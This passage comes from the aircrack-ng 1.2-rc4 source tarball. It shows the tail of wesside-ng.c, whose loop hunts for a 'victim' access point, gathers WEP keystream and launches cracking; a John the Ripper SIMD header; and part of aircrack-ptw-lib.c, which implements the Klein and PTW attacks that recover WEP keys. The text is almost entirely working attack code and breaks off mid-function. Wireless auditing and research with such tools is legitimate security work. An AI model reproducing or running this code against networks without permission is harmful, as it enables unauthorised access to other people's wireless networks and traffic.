(ws->ws_crack_pid) check_key(ws); if (ws->ws_netip && ws->ws_pi.pi_len >= ws->ws_min_prga && ws->ws_rtrmac > (unsigned char*) 1) { time_print("WEP=%.9d (next crack at %d) " "IV=%.2x:%.2x:%.2x (rate=%d) \r", ws->ws_packets, ws->ws_wep_thresh, ws->ws_iv[0], ws->ws_iv[1], ws->ws_iv[2], ws->ws_rate); } else { if (ws->ws_state == FIND_VICTIM) { time_print("Chan %.02d %c\r", ws->ws_chan, *pbarp); } else if (ws->ws_cipher) { int pos = ws->ws_dpi.pi_len - 1; unsigned char prga = ws->ws_dpi.pi_prga[pos]; assert(pos); time_print("Guessing PRGA %.2x (IP byte=%d) \r", prga, ws->ws_cipher[pos] ^ prga); } else time_print("%c\r", *pbarp); } fflush(stdout); memcpy(last_status, now, sizeof(*last_status)); } static void check_tx(struct wstate *ws, struct timeval *now) { int elapsed; if (!ws->ws_waiting_ack) return; elapsed = elapsedd(&ws->ws_tsent, now); if (elapsed >= (int)ws->ws_ack_timeout) send_frame(ws, NULL, -1); } static void check_hop(struct wstate *ws, struct timeval *now) { int elapsed; int chan = ws->ws_chan; elapsed = elapsedd(&ws->ws_lasthop, now); if (elapsed < 300*1000) return; chan++; if(chan > ws->ws_max_chan) chan = 1; set_chan(ws, chan); memcpy(&ws->ws_lasthop, now, sizeof(ws->ws_lasthop)); } static void post_input(struct wstate *ws, struct timeval *now) { int el; // check state and what we do next. if (ws->ws_state == FIND_VICTIM) { check_hop(ws, now); return; } // check if we need to write something... if (!ws->ws_waiting_ack) can_write(ws); el = elapsedd(&ws->ws_last_wcount, now); /* calculate rate, roughtly */ if (el < 1*1000*1000) return; ws->ws_rate = ws->ws_packets - ws->ws_last_wep_count; ws->ws_last_wep_count = ws->ws_packets; memcpy(&ws->ws_last_wcount, now, sizeof(ws->ws_last_wcount)); if (ws->ws_wep_thresh != -1 && ws->ws_packets > (unsigned int) ws->ws_wep_thresh) try_crack(ws); } static void do_input(struct wstate *ws) { unsigned char buf[4096]; int rd; rd = read_packet(ws, buf, sizeof(buf)); if (rd == 0) return; if (rd == -1) { perror("read()"); exit(1); } // input anal(ws, buf, rd); } static void own(struct wstate *ws) { int rd; fd_set rfd; struct timeval tv; char *pbar = "/-\\|"; char *pbarp = &pbar[0]; struct timeval now; struct timeval last_status; int largest; int wifd; wifd = wi_fd(ws->ws_wi); open_wepfile(ws); load_prga(ws); largest = wi_fd(ws->ws_wi); if (signal(SIGINT, &cleanup) == SIG_ERR) { perror("signal()"); exit(1); } if (signal (SIGTERM, &cleanup) == SIG_ERR) { perror("signal()"); exit(1); } if (signal (SIGCHLD, &sigchild) == SIG_ERR) { perror("signal()"); exit(1); } time_print("Looking for a victim...\n"); if (gettimeofday(&ws->ws_lasthop, NULL) == -1) { perror("gettimeofday()"); exit(1); } memcpy(&ws->ws_last_wcount, &ws->ws_lasthop, sizeof(ws->ws_last_wcount)); memcpy(&last_status, &ws->ws_lasthop, sizeof(last_status)); while (1) { if (gettimeofday(&now, NULL) == -1) { perror("gettimeofday()"); exit(1); } /* check for relay timeout */ check_relay_timeout(ws, &now); /* check for arp timeout */ check_arp_timeout(ws, &now); // status bar display_status_bar(ws, &now, &last_status, pbarp); // check if we are cracking if (ws->ws_crack_pid) { if ((now.tv_sec - ws->ws_crack_start.tv_sec) >= ws->ws_crack_dur) kill_crack(ws); } // check TX / retransmit check_tx(ws, &now); // INPUT // select FD_ZERO(&rfd); FD_SET(wifd, &rfd); tv.tv_sec = 0; tv.tv_usec = 1000*10; rd = select(largest+1, &rfd, NULL, NULL, &tv); if (rd == -1) { switch (errno) { case EINTR: /* handle SIGCHLD */ break; default: perror("select()"); exit(1); break; } } // read if (rd != 0 && FD_ISSET(wifd, &rfd)) { /* update status */ pbarp++; if(!(*pbarp)) pbarp = &pbar[0]; do_input(ws); } post_input(ws, &now); } } static void start(struct wstate *ws, char *dev) { struct wif *wi; ws->ws_wi = wi = wi_open(dev); if (!wi) err(1, "wi_open(%s)", dev); if (!ws->ws_have_mac) { if (wi_get_mac(wi, ws->ws_mymac) == -1) printf("Can't get mac\n"); } else { if (wi_set_mac(wi, ws->ws_mymac) == -1) printf("Can't set mac\n"); } time_print("Using mac %s\n", mac2str(ws->ws_mymac)); ws->ws_ptw = PTW_newattackstate(); if (!ws->ws_ptw) err(1, "PTW_newattackstate()"); own(ws); wi_close(wi); } static void usage(char* pname) { if (pname) {} char *version_info = getVersion("Wesside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC); printf("\n" " %s - (C) 2007, 2008, 2009 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: wesside-ng \n" "\n" " Options:\n" "\n" " -h : This help screen\n" " -i : Interface to use (mandatory)\n" " -m : My IP address\n" " -n : Network IP address\n" " -a : Source MAC Address\n" " -c : Do not crack the key\n" " -p : Minimum bytes of PRGA to gather\n" " -v : Victim BSSID\n" " -t : Cracking threshold\n" " -f : Highest scanned chan (default: 11)\n" " -k : Ignore acks and tx txnum times\n" "\n", version_info); free(version_info); exit(0); } static void str2mac(unsigned char* dst, char* mac) { unsigned int macf[6]; int i; if( sscanf(mac, "%x:%x:%x:%x:%x:%x", &macf[0], &macf[1], &macf[2], &macf[3], &macf[4], &macf[5]) != 6) { printf("can't parse mac %s\n", mac); exit(1); } for (i = 0; i < 6; i++) *dst++ = (unsigned char) macf[i]; } static void init_defaults(struct wstate *ws) { memset(ws, 0, sizeof(*ws)); ws->ws_state = FIND_VICTIM; ws->ws_max_chan = 11; memcpy(ws->ws_mymac, "\x00\x00\xde\xfa\xce\x0d", 6); ws->ws_have_mac = 0; strncpy(ws->ws_myip, "192.168.0.123", sizeof(ws->ws_myip)-1); ws->ws_ack_timeout = 100*1000; ws->ws_min_prga = 128; ws->ws_wep_thresh = ws->ws_thresh_incr = 10000; ws->ws_crack_dur = 60; } int main(int argc, char *argv[]) { struct wstate *ws = get_ws(); int ch; unsigned char vic[6]; char* dev = "IdidNotSpecifyAnInterface"; assert(ws); init_defaults(ws); if (gettimeofday(&ws->ws_real_start, NULL) == -1) { perror("gettimeofday()"); exit(1); } while ((ch = getopt(argc, argv, "hi:m:a:n:cp:v:t:f:k:")) != -1) { switch (ch) { case 'k': ws->ws_ignore_ack = atoi(optarg); break; case 'a': str2mac(ws->ws_mymac, optarg); ws->ws_have_mac = 1; break; case 'i': dev = optarg; break; case 'm': strncpy(ws->ws_myip, optarg, sizeof(ws->ws_myip)-1); ws->ws_myip[sizeof(ws->ws_myip)-1] = 0; break; case 'n': ws->ws_netip = optarg; break; case 'v': str2mac(vic, optarg); ws->ws_victim_mac = vic; break; case 'c': ws->ws_wep_thresh = -1; break; case 'p': ws->ws_min_prga = atoi(optarg); break; case 't': ws->ws_thresh_incr = ws->ws_wep_thresh = atoi(optarg); break; case 'f': ws->ws_max_chan = atoi(optarg); break; default: usage(argv[0]); break; } } if (argc > 1) start(ws, dev); else usage(argv[0]); cleanup(0); exit(0); } aircrack-ng-1.2-rc4/src/simd-intrinsics.h0000644000000000000000000001357412640667310017017 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This software is Copyright (c) 2010 bartavelle, , and it is hereby released to the general public under the following terms: * Redistribution and use in source and binary forms, with or without modification, are permitted. * * Some modifications, Jim Fougeron, 2013. Licensing rights listed in accompanying simd-intrinsics.c file. */ #if !defined (__JTR_SSE_INTRINSICS_H__) #define __JTR_SSE_INTRINSICS_H__ #if (SIMD_COEF_32 && SIMD_COEF_32 == 2) || !SIMD_COEF_32 #undef SIMD_TYPE #define SIMD_TYPE "" #undef SIMD_COEF_32 #endif #include "jcommon.h" #include "pseudo_intrinsics.h" #include "simd-intrinsics-load-flags.h" #include "aligned.h" #ifndef _EMMINTRIN_H_INCLUDED #define __m128i void #endif #define vtype void #define STRINGIZE2(s) #s #define STRINGIZE(s) STRINGIZE2(s) #if __ALTIVEC__ #undef SIMD_TYPE #define SIMD_TYPE "AltiVec" #elif __ARM_NEON__ #undef SIMD_TYPE #define SIMD_TYPE "NEON" #elif __MIC__ #undef SIMD_TYPE #define SIMD_TYPE "MIC" #elif __AVX512F__ #undef SIMD_TYPE #define SIMD_TYPE "AVX512F" #elif __AVX2__ #undef SIMD_TYPE #define SIMD_TYPE "AVX2" #elif __XOP__ #undef SIMD_TYPE #define SIMD_TYPE "XOP" #elif __AVX__ #undef SIMD_TYPE #define SIMD_TYPE "AVX" #elif __SSE4_1__ #undef SIMD_TYPE #define SIMD_TYPE "SSE4.1" #elif __SSSE3__ #undef SIMD_TYPE #define SIMD_TYPE "SSSE3" #elif __SSE2__ #undef SIMD_TYPE #define SIMD_TYPE "SSE2" #elif SIMD_COEF_32 #undef SIMD_TYPE #define SIMD_TYPE "MMX" // not really supported #endif #if SIMD_COEF_32 == 16 #define BITS "512/512" #elif SIMD_COEF_32 == 8 #define BITS "256/256" #elif SIMD_COEF_32 == 4 #define BITS "128/128" #elif SIMD_COEF_32 == 2 #define BITS "64/64" #endif #ifdef SIMD_PARA_MD5 void md5cryptsse(unsigned char *buf, unsigned char *salt, char *out, unsigned int md5_type); void SIMDmd5body(vtype* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags); void md5_reverse(uint32_t *hash); void md5_unreverse(uint32_t *hash); #define MD5_ALGORITHM_NAME BITS " " SIMD_TYPE " " MD5_N_STR #else #define MD5_ALGORITHM_NAME "32/" ARCH_BITS_STR #endif #ifdef SIMD_PARA_MD4 //void SIMDmd4body(__m128i* data, unsigned int *out, int init); void SIMDmd4body(vtype* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags); void md4_reverse(uint32_t *hash); void md4_unreverse(uint32_t *hash); #define MD4_ALGORITHM_NAME BITS " " SIMD_TYPE " " MD4_N_STR #else #define MD4_ALGORITHM_NAME "32/" ARCH_BITS_STR #endif #ifdef SIMD_PARA_SHA1 void SIMDSHA1body(vtype* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags); void sha1_reverse(uint32_t *hash); void sha1_unreverse(uint32_t *hash); #define SHA1_ALGORITHM_NAME BITS " " SIMD_TYPE " " SHA1_N_STR #else #define SHA1_ALGORITHM_NAME "32/" ARCH_BITS_STR #endif // we use the 'outter' SIMD_COEF_32 wrapper, as the flag for SHA256/SHA512. FIX_ME!! #if SIMD_COEF_32 > 1 #ifdef SIMD_COEF_32 #define SHA256_ALGORITHM_NAME BITS " " SIMD_TYPE " " SHA256_N_STR void SIMDSHA256body(vtype* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags); void sha224_reverse(uint32_t *hash); void sha224_unreverse(uint32_t *hash); void sha256_reverse(uint32_t *hash); void sha256_unreverse(); #endif #ifdef SIMD_COEF_64 #define SHA512_ALGORITHM_NAME BITS " " SIMD_TYPE " " SHA512_N_STR void SIMDSHA512body(vtype* data, ARCH_WORD_64 *out, ARCH_WORD_64 *reload_state, unsigned SSEi_flags); void sha384_reverse(ARCH_WORD_64 *hash); void sha384_unreverse(ARCH_WORD_64 *hash); void sha512_reverse(ARCH_WORD_64 *hash); void sha512_unreverse(); #endif #else #if ARCH_BITS >= 64 #define SHA256_ALGORITHM_NAME "64/" ARCH_BITS_STR " " SHA2_LIB #define SHA512_ALGORITHM_NAME "64/" ARCH_BITS_STR " " SHA2_LIB #else #define SHA256_ALGORITHM_NAME "32/" ARCH_BITS_STR " " SHA2_LIB #define SHA512_ALGORITHM_NAME "32/" ARCH_BITS_STR " " SHA2_LIB #endif #endif #undef vtype /* void */ #endif // __JTR_SSE_INTRINSICS_H__ aircrack-ng-1.2-rc4/src/aircrack-ptw-lib.c0000644000000000000000000005330012660177462017023 0ustar rootroot/* * Copyright (c) 2007-2009 Erik Tews, Andrei Pychkine and Ralf-Philipp Weinmann. * 2013 Ramiro Polla * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #if defined(__sun__) #include #endif #include "pcap.h" #include "aircrack-ptw-lib.h" #include "aircrack-ng.h" #define n PTW_n #define CONTROLSESSIONS PTW_CONTROLSESSIONS #define KSBYTES PTW_KSBYTES #define IVBYTES PTW_IVBYTES #define TESTBYTES 6 // Internal state of rc4 typedef struct { uint32_t s[n]; uint8_t i; uint8_t j; } rc4state; // Helper structures for sorting typedef struct { int keybyte; uint8_t value; int distance; } sorthelper; typedef struct { int keybyte; double difference; } doublesorthelper; // The rc4 initial state, the idendity permutation static const uint32_t rc4initial[] = {0,1,2,3,4,5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20, 21,22,23,24,25,26,27,28,29,30, 31,32,33,34,35,36,37,38,39,40, 41,42,43,44,45,46,47,48,49,50, 51,52,53,54,55,56,57,58,59,60, 61,62,63,64,65,66,67,68,69,70, 71,72,73,74,75,76,77,78,79,80, 81,82,83,84,85,86,87,88,89,90, 91,92,93,94,95,96,97,98,99,100, 101,102,103,104,105,106,107,108,109,110, 111,112,113,114,115,116,117,118,119,120, 121,122,123,124,125,126,127,128,129,130, 131,132,133,134,135,136,137,138,139,140, 141,142,143,144,145,146,147,148,149,150, 151,152,153,154,155,156,157,158,159,160, 161,162,163,164,165,166,167,168,169,170, 171,172,173,174,175,176,177,178,179,180, 181,182,183,184,185,186,187,188,189,190, 191,192,193,194,195,196,197,198,199,200, 201,202,203,204,205,206,207,208,209,210, 211,212,213,214,215,216,217,218,219,220, 221,222,223,224,225,226,227,228,229,230, 231,232,233,234,235,236,237,238,239,240, 241,242,243,244,245,246,247,248,249,250, 251,252,253,254,255}; // Values for p_correct_i static const double eval[] = { 0.00534392069257663, 0.00531787585068872, 0.00531345769225911, 0.00528812219217898, 0.00525997750378221, 0.00522647312237696, 0.00519132541143668, 0.0051477139367225, 0.00510438884847959, 0.00505484662057323, 0.00500502783556246, 0.00495094196451801, 0.0048983441590402}; int tried, max_tries; int depth[KEYHSBYTES]; PTW_tableentry keytable[KEYHSBYTES][n]; // Check if optmizied RC4 for AMD64 has to be compiled #if defined(__amd64) && defined(__SSE2__) && !defined(__clang__) #define USE_AMD64_RC4_OPTIMIZED #endif // For sorting static int compare(const void * ina, const void * inb) { PTW_tableentry * a = (PTW_tableentry * )ina; PTW_tableentry * b = (PTW_tableentry * )inb; return b->votes - a->votes; } // For sorting static int comparedoublesorthelper(const void * ina, const void * inb) { doublesorthelper * a = (doublesorthelper * )ina; doublesorthelper * b = (doublesorthelper * )inb; if (a->difference > b->difference) { return 1; } else if (a->difference == b->difference) { return 0; } else { return -1; } } #ifdef USE_AMD64_RC4_OPTIMIZED static const uint32_t __attribute__((used)) __attribute__((aligned (16))) x0123 [4] = { 0, 1, 2, 3 }; static const uint32_t __attribute__((used)) __attribute__((aligned (16))) x4444 [4] = { 4, 4, 4, 4 }; static int rc4test_amd64_sse2(uint8_t *key, int keylen, uint8_t *iv, uint8_t *keystream) { int idx, i, j; int scratch1, scratch2; __asm__ volatile( #define state "%%rsp" #define keybuf "0x400(%%rsp)" #define keystream_ "0x428(%%rsp)" // setup stack "movq %%rsp, %q0 \n\t" "subq $0x430, %%rsp \n\t" "andq $-16, %%rsp \n\t" "movq %q0, -8(%%rsp) \n\t" // save keystream variable "movq %q6, "keystream_" \n\t" // keylen += IVBYTES "addl $3, %k4 \n\t" // memcpy(keybuf, iv, IVBYTES); "movl (%q5), %k1 \n\t" "movl %k1 , "keybuf" \n\t" // memcpy(&keybuf[IVBYTES], key, keylen); "movdqa (%q3), %%xmm0 \n\t" "cmpl $16, %k4 \n\t" "movdqu %%xmm0, 3+"keybuf" \n\t" "jng .Lsmall_key1 \n\t" "movdqa 16(%q3), %%xmm1 \n\t" "movdqu %%xmm1,19+"keybuf" \n\t" ".Lsmall_key1: \n\t" // key = keybuf "lea "keybuf", %q3 \n\t" // load xmm registers "movdqa %q9, %%xmm0 \n\t" "movdqa %q10, %%xmm1 \n\t" // clear some registers "xorq %q0, %q0 \n\t" // idx "xorq %q1, %q1 \n\t" // i "xorq %q2, %q2 \n\t" // j // build identity array ".p2align 4 \n\t" ".Lidentity_loop: \n\t" "movdqa %%xmm0, ("state",%q1,4)\n\t" "addb $4, %b1 \n\t" "paddd %%xmm1, %%xmm0 \n\t" "jnc .Lidentity_loop \n\t" // load state into register "movq "state", %q1 \n\t" // %q4 = and mask for idx "movq %q4, %q8 \n\t" "cmpq $16, %q8 \n\t" "movq $15, %q4 \n\t" "je .Lsmall_key2 \n\t" "shrq $1, %q4 \n\t" ".Lsmall_key2: \n\t" // init array with key ".p2align 4 \n\t" ".init_loop: \n\t" "movl %k0, %k8 \n\t" /* scratch2 = idx */ "movl (%q1), %k5 \n\t" /* s1 = state[i] */ "leal 1(%q0,1), %k0 \n\t" /* idx++ */ "movzbl (%q3,%q8,1), %k6 \n\t" /* key_n = key[scratch2] */ "leal (%q5,%q6,1), %k8 \n\t" /* scratch2 = s1 + key_n */ "addl %k8, %k2 \n\t" /* j += scratch2 */ "andl %k4, %k0 \n\t" /* idx &= mask */ "movzbl %b2, %k8 \n\t" /* scratch2 = j */ "movl ("state",%q8,4), %k7 \n\t" /* s2 = state[scratch2] */ "movl %k7, (%q1) \n\t" /* state[i] = s2 */ "addq $4, %q1 \n\t" /* i++ */ "movl %k5, ("state",%q8,4) \n\t" /* state[scratch2] = s1 */ "cmpq %q1, %q3 \n\t" /* state == &state[0x100] */ "jne .init_loop \n\t" // restore keystream variable "movq "keystream_", %q6 \n\t" // clear some registers "xorq %q2, %q2 \n\t" // j = 0 "xorq %q0, %q0 \n\t" // result #define RC4TEST_LOOP(offset) \ "movl 4*"offset"("state"), %k5\n\t" /* s1 = state[i] */ \ "leal (%q5,%q2,1), %k4 \n\t" /* */ \ "movzbl %b4, %k2 \n\t" /* j += s1 */ \ "movl ("state",%q2,4), %k1 \n\t" /* s2 = state[j] */ \ "movl %k1, 4*"offset"("state")\n\t" /* state[i] = s2 */ \ "movl %k5, ("state",%q2,4) \n\t" /* state[j] = s1 */ \ "addb %b1, %b5 \n\t" /* s1 += s2; */ \ "movb ("state",%q5,4), %b3 \n\t" /* ret = state[s1] */ \ "cmpb %b3, "offset"-1(%q6) \n\t" /* ret == keystream[i-1] */ \ "jne .ret \n\t" RC4TEST_LOOP("1") RC4TEST_LOOP("2") RC4TEST_LOOP("3") RC4TEST_LOOP("4") RC4TEST_LOOP("5") RC4TEST_LOOP("6") #undef RC4TEST_LOOP "addb $1, %b0 \n\t" ".ret: \n\t" // restore stack "movq -8(%%rsp), %%rsp \n\t" : "=&r"(idx), "=&r"(i), "=&r"(j), "+r"(key), "+r"(keylen), "+r"(iv), "+r"(keystream), "=&r"(scratch1), "=&r"(scratch2) : "m"(x0123[0]), "m"(x4444[0]) : "xmm0", "xmm1" ); #undef state #undef keybuf #undef keystream_ return idx; } #endif // RC4 key setup static void rc4init ( uint8_t * key, int keylen, rc4state * state) { int i; unsigned char j; uint8_t tmp; int idx = 0; memcpy(state->s, &rc4initial, sizeof(rc4initial)); j = 0; for (i = 0; i < n; i++) { /* this should be: j = (j + state->s[i] + key[i % keylen]) % n; but as "j" is declared as unsigned char and n equals 256, we can "optimize" it */ j = (j + state->s[i] + key[idx]); if (++idx == keylen) idx = 0; tmp = state->s[i]; state->s[i] = state->s[j]; state->s[j] = tmp; } state->i = 0; state->j = 0; } // RC4 key stream generation static uint8_t rc4update(rc4state * state) { uint8_t tmp; uint8_t k; state->i++; state->j += state->s[state->i]; tmp = state->s[state->i]; state->s[state->i] = state->s[state->j]; state->s[state->j] = tmp; k = state->s[state->i] + state->s[state->j]; return state->s[k]; } static int rc4test(uint8_t *key, int keylen, uint8_t *iv, uint8_t *keystream) { uint8_t keybuf[PTW_KSBYTES]; rc4state rc4state; int j; memcpy(&keybuf[IVBYTES], key, keylen); memcpy(keybuf, iv, IVBYTES); rc4init(keybuf, keylen+IVBYTES, &rc4state); for (j = 0; j < TESTBYTES; j++) { if ((rc4update(&rc4state) ^ keystream[j]) != 0) { return 0; } } return 1; } // For sorting static int comparesorthelper(const void * ina, const void * inb) { sorthelper * a = (sorthelper * ) ina; sorthelper * b = (sorthelper * ) inb; return a->distance - b->distance; } /* * Guess the values for sigma_i * ivlen - how long was the iv (is used differently in original klein attack) * iv - IV which was used for this packet * keystream - keystream recovered * result - buffer for the values of sigma_i * kb - how many keybytes should be guessed */ static void guesskeybytes(int ivlen, uint8_t * iv, uint8_t * keystream, uint8_t * result, int kb) { uint32_t state[n]; uint8_t j = 0; uint8_t tmp; int i; int jj = ivlen; uint8_t ii; uint8_t s = 0; memcpy(state, &rc4initial, sizeof(rc4initial)); for (i = 0; i < ivlen; i++) { j += state[i] + iv[i]; tmp = state[i]; state[i] = state[j]; state[j] = tmp; } for (i = 0; i < kb; i++) { tmp = jj - keystream[jj-1]; ii = 0; while(tmp != state[ii]) { ii++; } s += state[jj]; ii -= (j+s); result[i] = ii; jj++; } return; } /* * Is a guessed key correct? */ static int correct(PTW_attackstate * state, uint8_t * key, int keylen) { int i; int k; // We need at least 3 sessions to be somehow certain if (state->sessions_collected < 3) { return 0; } tried++; k = rand()%(state->sessions_collected-10); for ( i=k; i < k+10; i++) { if (!state->rc4test(key, keylen, state->sessions[i].iv, state->sessions[i].keystream)) return 0; } return 1; } /* * Calculate the squaresum of the errors for both distributions */ static void getdrv(PTW_tableentry orgtable[][n], int keylen, double * normal, double * ausreiser) { int i,j; int numvotes = 0; double e; double e2; double emax; double help = 0.0; double maxhelp = 0; double maxi = 0; for (i = 0; i < n; i++) { numvotes += orgtable[0][i].votes; } e = numvotes/n; for (i = 0; i < keylen; i++) { emax = eval[i] * numvotes; e2 = ((1.0 - eval[i])/255.0) * numvotes; normal[i] = 0; ausreiser[i] = 0; maxhelp = 0; maxi = 0; for (j = 0; j < n; j++) { if (orgtable[i][j].votes > maxhelp) { maxhelp = orgtable[i][j].votes; maxi = j; } } for (j = 0; j < n; j++) { if (j == maxi) { help = (1.0-orgtable[i][j].votes/emax); } else { help = (1.0-orgtable[i][j].votes/e2); } help = help*help; ausreiser[i] += help; help = (1.0-orgtable[i][j].votes/e); help = help*help; normal[i] += help; } } } /* * Guess a single keybyte */ static int doRound(PTW_tableentry sortedtable[][n], int keybyte, int fixat, uint8_t fixvalue, int * searchborders, uint8_t * key, int keylen, PTW_attackstate * state, uint8_t sum, int * strongbytes, int * bf, int validchars[][n]) { int i; uint8_t tmp; if(!opt.is_quiet && keybyte < 4) show_wep_stats( keylen -1, 0, keytable, searchborders, depth, tried ); if (keybyte > 0) { if (!validchars[keybyte-1][key[keybyte-1]]) { return 0; } } if (keybyte == keylen) { return correct(state, key, keylen); } else if (bf[keybyte] == 1) { for (i = 0; i < n; i++) { key[keybyte] = i; if (doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, sum+i%n, strongbytes, bf, validchars)) { return 1; } } return 0; } else if (keybyte == fixat) { key[keybyte] = fixvalue-sum; return doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, fixvalue, strongbytes, bf, validchars); } else if (strongbytes[keybyte] == 1) { // printf("assuming byte %d to be strong\n", keybyte); tmp = 3 + keybyte; for (i = keybyte-1; i >= 1; i--) { tmp += 3 + key[i] + i; key[keybyte] = n-tmp; if(doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, (n-tmp+sum)%n, strongbytes, bf, validchars) == 1) { printf("hit with strongbyte for keybyte %d\n", keybyte); return 1; } } return 0; } else { for (i = 0; i < searchborders[keybyte]; i++) { key[keybyte] = sortedtable[keybyte][i].b - sum; if(!opt.is_quiet) { depth[keybyte] = i; keytable[keybyte][i].b = key[keybyte]; } if (doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, sortedtable[keybyte][i].b, strongbytes, bf, validchars)) { return 1; } } return 0; } } /* * Do the actual computation of the key */ static int doComputation(PTW_attackstate * state, uint8_t * key, int keylen, PTW_tableentry table[][n], sorthelper * sh2, int * strongbytes, int keylimit, int * bf, int validchars[][n]) { int i,j; int choices[KEYHSBYTES]; int prod; int fixat; int fixvalue; if(!opt.is_quiet) memcpy(keytable, table, sizeof(PTW_tableentry) * n * keylen); for (i = 0; i < keylen; i++) { if (strongbytes[i] == 1) { choices[i] = i; } else { choices[i] = 1; } } i = 0; prod = 0; fixat = -1; fixvalue = 0; max_tries = keylimit; while(prod < keylimit) { if (doRound(table, 0, fixat, fixvalue, choices, key, keylen, state, 0, strongbytes, bf, validchars) == 1) { // printf("hit with %d choices\n", prod); if(!opt.is_quiet) show_wep_stats( keylen -1, 1, keytable, choices, depth, tried ); return 1; } while( (i < keylen * (n-1)) && ((strongbytes[sh2[i].keybyte] == 1) || (bf[sh2[i].keybyte] == 1) ) ) { i++; } if(i >= (keylen * (n-1))) { break; } choices[sh2[i].keybyte]++; fixat = sh2[i].keybyte; // printf("choices[%d] is now %d\n", sh2[i].keybyte, choices[sh2[i].keybyte]); fixvalue = sh2[i].value; prod = 1; for (j = 0; j < keylen; j++) { prod *= choices[j]; if (bf[j] == 1) { prod *= n; } } /* do { i++; } while (strongbytes[sh2[i].keybyte] == 1); */ i++; if(!opt.is_quiet) show_wep_stats( keylen -1, 0, keytable, choices, depth, tried ); } if(!opt.is_quiet) show_wep_stats( keylen -1, 1, keytable, choices, depth, tried ); return 0; } /* * Guess which key bytes could be strong and start actual computation of the key */ int PTW_computeKey(PTW_attackstate * state, uint8_t * keybuf, int keylen, int testlimit, int * bf, int validchars[][n], int attacks) { int strongbytes[KEYHSBYTES]; double normal[KEYHSBYTES]; double ausreisser[KEYHSBYTES]; doublesorthelper helper[KEYHSBYTES]; int simple, onestrong, twostrong; int i,j; #ifdef USE_AMD64_RC4_OPTIMIZED /* * The 64-bit SSE2-optimized rc4test() requires this buffer to be * aligned at 3 bytes. */ uint8_t fullkeybuf_unaligned[PTW_KSBYTES+13] __attribute__((aligned(16))); uint8_t *fullkeybuf = &fullkeybuf_unaligned[13]; #else uint8_t fullkeybuf[PTW_KSBYTES]; #endif uint8_t guessbuf[PTW_KSBYTES]; sorthelper(*sh)[n-1]; PTW_tableentry (*table)[n] = alloca(sizeof(PTW_tableentry) * n * keylen); #ifdef USE_AMD64_RC4_OPTIMIZED /* * sse2-optimized rc4test() function for amd64 only works * for keylen == 5 or keylen == 13 */ if (keylen == 5 || keylen == 13) state->rc4test = rc4test_amd64_sse2; else #endif state->rc4test = rc4test; tried=0; sh = NULL; if (table == NULL) { printf("could not allocate memory\n"); exit(-1); } if(!(attacks & NO_KLEIN)) { // Try the original klein attack first for (i = 0; i < keylen; i++) { memset(&table[i][0], 0, sizeof(PTW_tableentry) * n); for (j = 0; j < n; j++) { table[i][j].b = j; } for (j = 0; j < state->packets_collected; j++) { // fullkeybuf[0] = state->allsessions[j].iv[0]; memcpy(fullkeybuf, state->allsessions[j].iv, 3 * sizeof(uint8_t)); guesskeybytes(i+3, fullkeybuf, state->allsessions[j].keystream, guessbuf, 1); table[i][guessbuf[0]].votes += state->allsessions[j].weight; } qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare); j = 0; while(!validchars[i][table[i][j].b]) { j++; } // printf("guessing i = %d, b = %d\n", i, table[0][0].b); fullkeybuf[i+3] = table[i][j].b; } if (correct(state, &fullkeybuf[3], keylen)) { memcpy(keybuf, &fullkeybuf[3], keylen * sizeof(uint8_t)); // printf("hit without correction\n"); return 1; } } if(!(attacks & NO_PTW)) { memcpy(table, state->table, sizeof(PTW_tableentry) * n * keylen); onestrong = (testlimit/10)*2; twostrong = (testlimit/10)*1; simple = testlimit - onestrong - twostrong; // now, sort the table for (i = 0; i < keylen; i++) { qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare); strongbytes[i] = 0; } sh = alloca(sizeof(sorthelper) * 